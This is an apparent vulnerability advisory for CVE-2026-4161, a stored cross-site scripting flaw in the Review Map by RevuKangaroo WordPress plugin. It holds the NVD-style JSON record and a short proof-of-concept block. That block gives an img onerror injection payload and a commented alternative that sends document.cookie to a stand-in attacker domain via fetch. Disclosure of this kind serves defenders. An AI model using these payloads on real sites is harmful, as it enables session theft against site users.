CVE-2026-4161

<!-- Proof of Concept (PoC) for CVE-2026-4161 Vulnerable Parameter: Plugin Settings (e.g., Map API Key or Description) --> <!-- Step 1: Inject the following payload into the vulnerable plugin setting field. Payload uses an img tag with onerror to execute JavaScript. --> <img src=x onerror=alert('CVE-2026-4161_Stored_XSS')> <!-- Alternatively, a more stealthy payload to steal cookies: <script> fetch('https://attacker-controlled-domain.com/log?c='+document.cookie); </script> -->

{"cve": {"id": "CVE-2026-4161", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:43.893", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Review Map by RevuKangaroo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin settings in all versions up to, and including, 1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Review Map by RevuKangaroo para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración del plugin en todas las versiones hasta la 1.7, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con acceso de nivel de administrador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L158", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L233", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L247", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L253", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/tags/1.7/review-map-by-revuKangaroo.php#L296", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L158", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L233", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L247", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L253", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-map-by-revukangaroo/trunk/review-map-by-revuKangaroo.php#L296", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d632bc58-f441-48fb-848c-40b22d3aa562?source=cve", "source": "[email protected]"}]}}